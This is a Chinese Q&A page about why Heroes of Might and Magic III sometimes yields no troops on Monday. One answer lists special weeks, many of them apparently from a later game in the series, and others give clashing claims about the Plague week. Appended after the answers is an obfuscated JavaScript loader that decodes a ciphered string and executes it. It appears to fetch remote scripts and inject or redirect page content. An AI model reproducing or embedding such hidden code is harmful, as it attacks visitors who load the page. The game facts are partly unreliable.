英雄无敌3里怎么有时候周一没有兵

2025-02-15 09:54:02
推荐回答(5个)
回答1:

每周都都有名字 有效果 考验人品啊啊
特殊周列表:

Week of Abjuration: Skill level of all Light Magic spells increased to maximum during battles.

光明之周:战斗中,所有光明魔法的等级变为最高级。

Week of Air: Air spell damage increased by 50% during battles. Amount of summoned Air Elementals increases by 50%.

空气之周: 战斗中,所有空气魔法伤害增加50%。 所有空气元素召唤魔法招出的元素数量增加50%。

Week of Alchemy: Double income of Mercury and Sulfur from mines.

链金之周: 所有水银矿与硫磺矿产量加倍。

Week of Alteration: Skill level of all Dark Magic spells increased to maximum during battles.

变化之周:战斗中,所有黑暗魔法等级变为最高级。

Week of Angel: Double growth for Angels and Archangels.

天使周:天使与大天使产量加倍。

Week of Antilope: No special effect. (无特效)

Week of Archer: Double growth for Archers and Marksmen.

射手周:弓箭手与弩手(人类)产量加倍。

Week of Assassin: Double growth for Scouts and Assassins.

刺客周:侦察兵与刺客产量加倍。

Week of Badger: No special effect. (无特效)

Week of Balance: Morale and luck negated during battles.

平衡之周:士气与运气在战斗中被忽略。

Week of Bear: No special effect. (无特效)

Week of Bee: No special effect. (无特效)

Week of Beetle: No special effect. (无特效)

Week of Bonedragon: Double growth for Bone Dragons and Shadow Dragons.

骨龙周:骨龙与影龙产量加倍。

Week of Butterfly: No special effect. (无特效)

Week of Calm: Initiative of all creatures from Necropolis, Inferno and
Dungeon factions reduced by 20% during battles.

平静之周: 所有死灵,恶魔,与地下城生物的主动下降20%。

Week of Caterpillar: No special effect. (无特效)

Week of Cavalier: Double growth for Cavaliers and Paladins.

骑兵周:骑士与圣骑产量加倍。(人类)

Week of Chaos: Spell damage increased by 50% during battles.

混乱之周:战斗中,所有法术伤害增加50%。

Week of Colossus: Double growth for Colossuses and Titans.

巨人周:巨人与泰坦产量加倍。

Week of Conjunction: Triple growth for all creatures. Triple income of all resources from mines and towns.

连接之周:所有生物产量乘3, 所有城镇与矿产量乘3。

Week of Conjuration: Skill level of all Summoning Magic spells increased to maximum during battles.

召唤周:战斗中,所有召唤魔法等级变为最高级。

Week of Cuckoo: No special effect. (无特效)

Week of Deer: No special effect. (无特效)

Week of Demon: Double growth for Demons and Horned Demons.

恶魔族周:魔和角魔督军的产量加倍。

Week of Devil: Double growth for Devils and Archdevils.

恶魔周: 恶魔与大恶魔产量加倍。

Week of Diplomacy: All neutral creatures that usually join for money will join for free.

外交周:以前所有要付钱才会加入的中立生物本周免费加入。

Week of Disease: Two thirds of creatures in all dwellings die (minimum
remaining is one). Only one third of growth for all creatures.

疾病周:2/3在居所内的生物会死(亻最少剩一只)。本周所有生物产量只有1/3。

Week of Djinn: Double growth for Djinns and Djinn Sultans.

神灯周:神灯产量加倍。

Week of Dragon: Double growth for Deep Dragons and Black Dragons.

黑龙周:深渊龙与黑龙产量加倍。

Week of Dragonfly: No special effect. (无特效)

Week of Druid: Double growth for Druids and Druid Elders.

德鲁伊周:德鲁伊与德鲁伊长老产量加倍。

Week of Eagle: No special effect. (无特效)

Week of Earth: Earth spell damage increased by 50% during battles. Amount of summoned Earth Elementals increases by 50%.

大地周:战斗中,所有土地魔法伤害增加50%。 所有土地元素召唤魔法招出的元素数量增加50%。

Week of Ether: Spell cost doubled.

以太周:所有法术会消耗2倍魔力。

Week of Evocation: Skill level of all Destructive Magic spells increased to maximum during battles.

毁灭周:所有毁灭魔法等级变为最高级。

Week of Falcon: No special effect. (无特效)

Week of Feebleness: Defense of all creatures from Haven, Sylvan and Academy factions reduced by 20% during battles.

虚弱之周:圣堂,精灵城,与学院的所有生物防御力下降20%。

Week of Festivals: No resource income from towns and mines.

庆祝周:没有资源收入。 (金钱除外)

Week of Fever: Half of creatures in all dwellings die (minimum remaining is one). Only half of growth for all creatures.

发烧周:一半的居住生物死掉。所有生物产量减半。

Week of Fire: Fire spell damage increased by 50% during battles. Amount of summoned Fire Elementals increases by 50%.

火之周:战斗中,所有火魔法伤害增加50%。 所有火元素召唤魔法招出的元素数量增加50%。

Week of Fire'n'Ice: Fire and ice spells deal double damage during battles.

冰火之周: 战斗中,火魔法与冰魔法伤害加倍。

Week of Firefly: No special effect. (无特效)

Week of Flame: Movement of all heroes increased by 50%.

火焰周:所有英雄以动力加50%。

Week of Flamingo: No special effect. (无特效)

Week of Folly: Experience gained from battles halved.

愚蠢周:战斗经验减半。

Week of Footman: Double growth for Footmen and Swordsmen.

步兵周:步兵与剑士产量加倍。

Week of Forgery: Cost of creature upgrade halved.

锻造周:生物升级费用减半。

Week of Fox: No special effect. (无特效)

Week of Gargoyle: Double growth for Gargoyles and Obsidian Gargoyles.

石像鬼周:石像鬼产量加倍。

Week of Goat: No special effect. (无特效)

Week of Gold: Double Gold income from mines and towns.

黄金周:城镇与矿的黄金产量加倍。

Week of Golem: Double growth for Iron Golems and Steel Golems.

石人周:铁人战士产量加倍。

Week of Green Dragon: Double growth for Green Dragons.

绿龙周:绿龙产量加倍。

Week of Gremlin: Double growth for Gremlins and Master Gremlins.

地精周:地精产量加倍。

Week of Griffin: Double growth for Griffins and Imperial Griffin.

狮鹫周:狮鹫产量加倍。

Week of Groundhog: No special effect. (无特效)

Week of Hamster: No special effect. (无特效)

Week of Harvest: Double Wood and Ore income from mines.

丰收周:木材与石头产量加倍。

Week of Hedgehog: No special effect. (无特效)

Week of Hellhound: Double growth for Hell Hounds and Cerberi.

地域犬周:地域犬产量加倍。

Week of Honor: Experience gained from battles doubled.

荣誉周:战斗经验加倍。

Week of Hope: During battles morale and luck for all creatures increased by 1.

希望周:战斗中, 所有生物士气与运气加1。

Week of Hydra: Double growth for Hydras and Chaos Hydras.

九头蛇周:九头蛇产量加倍。

Week of Hyena: No special effect. (无特效)

Week of Idleness: Initiative for all creatures from Haven, Sylvan and Academy factions reduced by 20% during battles.

发呆周:圣堂,精灵,学院生物主动减20%。

Week of Imp: Double growth for Imps and Familiars.

小鬼周:小鬼产量加倍。

Week of Infirmity: Defense for all creatures from Necropolis, Inferno and Dungeon factions reduced by 20% during battles.

虚弱周:死灵,恶魔,与地下城生物防御下降20%。

Week of Jewels: Double Gem and Crystal income from mines.

珠宝周:宝石与水晶产量加倍。

Week of Lich: Double growth for Liches and Archliches.

巫妖周:巫妖产量加倍。

Week of Life: Double growth for all creatures.

生命周:所有生物产量加倍。

Week of Light: Luck and morale for all creatures from Necropolis, Inferno and Dungeon factions reduced by 2 during battles.

光之周:所有死灵,恶魔,地下城生物的士气与运气减2。

Week of Lion: No special effect. (无特效)

Week of Lynx: No special effect. (无特效)

Week of Magic: Spell cost halved during battles.

魔法周:所有魔法费魔减半。

Week of Magi: Double growth for Mages and Archmages.

法师周:法师产量加倍。

Week of Matron: Double growth for Matrons and Matriarchs.

女王周:女王产量加倍。

Week of Meditation: Mana regeneration rate doubled.

冥想周:魔力恢复加倍。

Week of Might: Non-magic damage increased by 50% during battles.

力量之周:非魔法伤害伤害加50%。

Week of Might'n'Magic: Non-magic damage increased by 50% and spell cost halved during battles

力量与魔法周:物理伤害增加50%, 魔法费魔减半。

Week of Minotaur: Double growth for Minotaurs and Minotaur Guards.

牛头怪之周:牛头怪产量加倍。

Week of Nightmare: Double growth for Nightmares and Frightful Nightmares.

梦魔周:梦魔产量加倍。

Week of Owl: No special effect. (无特效)

Week of Peasant: Double growth for Peasants and Conscripts.

农名周:农名产量加倍。

Week of Penguin: No special effect. (无特效)

Week of Pigeon: No special effect. (无特效)

Week of Pit Lord: Double growth for Pit Fiends and Pit Lords.

深渊领主周:深渊领主产量加倍。

Week of Pixie: Double growth for Pixies and Sprites.

小精灵周:小精灵产量加倍。

Week of Plague: Creatures in all dwellings die. No growth for all creatures.

瘟疫周:所有居住生物死亡, 本周无新生物。

Week of Priest: Double growth for Priests and Inquisitors.

牧师周:牧师产量加倍。

Week of Rabbit: No special effect. (无特效)

Week of Rat: No special effect. (无特效)

Week of Raven: No special effect. (无特效)

Week of Rider: Double growth for Rider and Ravager.

地城骑兵周:地城骑兵产量加倍。

Week of Rooster: No special effect. (无特效)

Week of Salamander: No special effect. (无特效)

Week of Sheep: No special effect. (无特效)

Week of Skeleton: Double growth for Skeletons and Skeleton Archers.

骷髅周:骷髅产量加倍。

Week of Sorrow: Morale and luck for all creatures from Haven, Sylvan an Academy factions reduced by 2 during battles.

悲哀周:圣堂,精灵,学院生物士气与运气-2。

Week of Sparrow: No special effect. (无特效)

Week of Squirrel: No special effect. (无特效)

Week of Stork: No special effect. (无特效)

Week of Succubus: Double growth for Succubi and Infernal Succubi.

女妖周:女妖产量加倍。

Week of Swallow: No special effect. (无特效)

Week of Swan: No special effect. (无特效)

Week of Tiger: No special effect. (无特效)

Week of Toad: No special effect. (无特效)

Week of Tortoise: No special effect. (无特效)

Week of Toughness: Hit points of all creatures increased by 20% during battles.

坚韧周:所有生物hp加20%。

Week of Trade: Prices for artefacts halved. Prices for resource exchange halved. (YES, I know that it's "artifact", but this is how it's displayed in the game, so that's how I will display it here)

交易周:神器价格减半,资源交易费用减半。

Week of Treant: Double growth for Treants and Treant Guardians.

树精周:树精产量加倍。

Week of Unicorn: Double growth for Unicorns and Battle Unicorns.

独角兽周:独角兽产量加倍。

Week of Vampire: Double growth for Vampires and Vampire Lords.

吸血鬼周:吸血鬼产量加倍。

Week of Viper: No special effect. (无特效)

Week of Walkingdead: Double growth for Zombies and Plague Zombies.

僵尸周:僵尸产量加倍。

Week of Wasp: No special effect. (无特效)

Week of Water: Ice spell damage increased by 50% during battle. Amount of summoned Water Elementals increases by 50%.

水之周:战斗中,所有冰系魔法伤害增加50%。 所有水元素召唤魔法招出的元素数量增加50%。

Week of Whale: Double growth for Manes and Ghosts.

鲸之周:鬼魂产量加倍。

Week of Wight: Double growth for Wight and Wraith.

死神周:死神产量加倍。

Week of Winds: Sea movement of all heroes increased by 50%.

风之周: 英雄的海上移动力加50%。

Week of Woodelf: Double growth for Hunters and Master Hunters.

木精灵周:猎人产量加倍。

Week of Wyrm: No special effect. (无特效)

回答2:

是这样的,为了增加游戏的可玩度,所以电脑有时候会设置成这样,
你注意一下,每周一开始时都会显示:本周是XX周。(当成为这种动物的周时,动物的产量就会增加,其它不变。比如,本周是小怪物周,那么小怪物的产量会从原来的2变成40,)
但当显示为:本周是瘟疫之周时,你的城里就不会产兵,而且要注意的是,你这周前没有招的兵也会有损失哦,所以最好在周日前把兵招光,要不就亏大了...

瘟疫之周大家都是一样的,电脑也没兵...

这样的解答可以吗?

回答3:

2楼说的是英4吧,英3没有兵出现的正解只有一种可能:瘟疫之周。不但没兵出,你存在城里的兵,只要没召出来的,都要减半

回答4:

有的时候这一周会是“瘟疫之周”,这时所有的生物数量减半,如果是大型生物的话(比如七级生物),减半就是没有了

电脑和你也是一样的

回答5:

这是瘟疫周,不仅仅是没有兵,还会使以前积累的兵员减半。电脑也跟你一样。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();